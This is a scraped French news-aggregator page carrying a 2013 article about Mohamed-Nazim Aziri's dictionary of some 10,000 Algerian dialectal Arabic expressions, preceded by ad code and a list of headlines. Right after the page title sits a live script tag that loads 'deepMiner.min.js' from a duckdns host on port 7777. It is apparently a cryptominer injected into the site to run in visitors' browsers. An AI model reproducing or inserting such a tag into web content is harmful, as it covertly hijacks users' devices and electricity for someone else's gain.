googletag.defineSlot('/21620968445/Djazairess_Fr_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-142634874-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Djazairess_Fr_Article_1', 'div-gpt-ad-142634874-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Djazairess_Fr_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-142634876-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Djazairess_Fr_Article_3', 'div-gpt-ad-142634876-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Djazairess_Fr_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-142634875-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Djazairess_Fr_Article_2', 'div-gpt-ad-142634875-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Djazairess_Fr_Widget', [[222, 280]], 'div-gpt-ad-1524625614-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Djazairess_Fr_Widget', 'div-gpt-ad-1524625614-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Djazairess_Fr_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-930032573-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Djazairess_Fr_Siteunder', 'div-gpt-ad-930032573-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); Djazairess : Dictionnaire des locutions de l'arabe dialectal algérien, de Mohamed-Nazim Aziri<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
En bref…    La démission surprise d'Ould Abbès    Louisa Hanoune fustige les partisans de la «continuité»    Un élu de l'APW pour représenter le FLN    La sous-traitance représente 10% de l'activité    Marchés pétroliers : La surabondance annonce-t-elle une mauvaise année ?    Un dialogue pour désamorcer la crise    Libye, la quadrature du cercle    Jamal Khashoggi, Ankara enfonce Riyad par petites doses    Votre week-end sportif    Violences dans les gradins du 5-Juillet    Le Mouloudia a mal de ses recrues estivales    Campagne d'information pour expliquer le projet    Plus de 33 000 pétards saisis à Djimla    Des dizaines de villageois de Souk-Lekhmis bloquent le CW15    Six millions d'Algériens sont diabétiques    Zombies-Land !    Logements sociaux : Les recalés des listes des bénéficiaires protestent    Assassinat par la DST en novembre 1954 de Kacem Zeddour Mohammed-Brahim Une affaire d'Etat    WA Tlemcen: Biskra, un cap important pour le Widad    USM Bel-Abbès: Un exploit qui en appelle d'autres    FLN: Ould Abbès démissionne    Ce n'est pas Trump le problème mais l'Amérique qui l'a élu    Europe: «Brexit or not Brexit ?»    Le pétrole, toujours    Le FFS dénonce: Le projet de loi de finances 2019 «présenté de façon expéditive»    Skikda: Saisie de kif, 8 arrestations    Suite aux nombreuses opérations de relogement: Des terrains combinés de proximité pour les nouveaux pôles urbains    Lycée Dergham Hanifi: La police sensibilise les élèves sur les dangers de l'Internet    Présidentielle : on se perd en conjectures !    EN - Les Verts dès demain à Lomé: Belmadi mobilise ses troupes    France 1914-1918 : centenaire de l'Armistice, le 11 novembre    Le virus des primaires    Est-il Halal de prier à la grande mosquée d'Alger ?    Hamas plonge Israël dans une crise politique    FLN : Démission de M. Ould Abbes pour des raisons de santé    Bedoui : " L'Algérie est sur de bons rails vers un lendemain meilleur "    Situation économique et sociale alarmante dans la wilaya de Khenchela :    FLN : Ould Abbès "débarqué"    Des otages druzes libérés portent en triomphe Bachar el-Assad    Les assiettes foncières inexploitées seront mises à la disposition des porteurs de projets    Arnaud Montebourg nouveau président de l'Association    2e édition du prix Cheikh Abdelkrim-Dali à Alger    L'étape d'Alger a coûté 5 MD    «Nous allons à Lomé pour la gagne»    Le Hamas et l'Etat hebreu: Crise politique en Israël    L'échec programmé de Rome    Disney : Les exploits des super-héros font les affaires de Mickey    







Merci d'avoir signalé!
Cette image sera automatiquement bloquée après qu'elle soit signalée par plusieurs personnes.





Dictionnaire des locutions de l'arabe dialectal algérien, de Mohamed-Nazim Aziri
"Notre langage renferme beaucoup de mots étrangers"
Publié dans Liberté le 01 - 12 - 2013

Dictionnaire des locutions de l'arabe dialectal algérien a été publié par Anep édition, en novembre, au cours de la XVIIIe édition du Salon international du livre d'Alger (Sila).
Son auteur, Mohamed-Nazim Aziri, diplômé en océanographie et journaliste présentateur à la Télévision algérienne, nous plonge dans le dialecte algérien. Contacté par nos soins, l'auteur nous révèle les raisons qui l'ont poussé à réaliser ce dictionnaire : "Comme tout Algérien, je me suis souvent posé la question de l'origine de notre langage, sachant que celui-ci, renferme beaucoup de mots étrangers, qui ne sont ni berbères ni arabes. L'autre motivation réside dans le souci de chacun de nous de trouver un repère identitaire dans l'imbroglio linguistique que nous vivons", a-t-il expliqué. Notre interlocuteur nous a également signalé l'idée d'entreprendre la réalisation d'un tel ouvrage est née de ses lectures. "La lecture de l'ouvrage de l'orientaliste néerlandais Reinhart Pieter Anne Dozy ; supplément aux dictionnaires arabes. Deux volumes que je trouve très passionnants d'autant que l'auteur s'est basé sur les travaux d'Eugène Daumas et beaucoup d'autres orientalistes qui ont abordé la dialectologie algérienne", a-t-il indiqué. Le dictionnaire comprend 10 000 locutions et expressions, présentées en suivant un ordre alphabétique des racines. L'ouvrage de Mohamed-Nazim Aziri est le fruit d'une longue recherche comme il l'a affirmé : "La préparation du manuscrit a demandé quatre ans et demi avant la remise à l'éditeur". Pour réaliser son ouvrage, l'auteur s'est basé sur plusieurs ouvrages, notamment, et à leur tête le livre de référence en matière d'arabe dialectal algérien, à savoir le dictionnaire de Marcelin Beaussier Dictionnaire pratique arabe-français, contenant tous les mots employés dans l'arabe parlé en Algérie et en Tunisie. "J'ai eu, d'abord, une première idée, celle de faire une recherche étymologique sur les mots qui figurent dans le Beaussier, mais vu la charge de travail que cela demande, j'ai préféré commencé, d'abord, par les locutions et les expressions, surtout que je disposais de plusieurs corpus me permettant de rassembler quelque 10 000 locutions", souligne-t-il. Pour ses projets d'avenir, l'auteur nous dévoile qu'il travaille actuellement sur deux autres ouvrages toujours en relation avec la dialectologie algérienne, notamment, un commentaire étymologique du dictionnaire de Beaussier.
I. A
Nom
Adresse email


Cliquez ici pour lire l'article depuis sa source.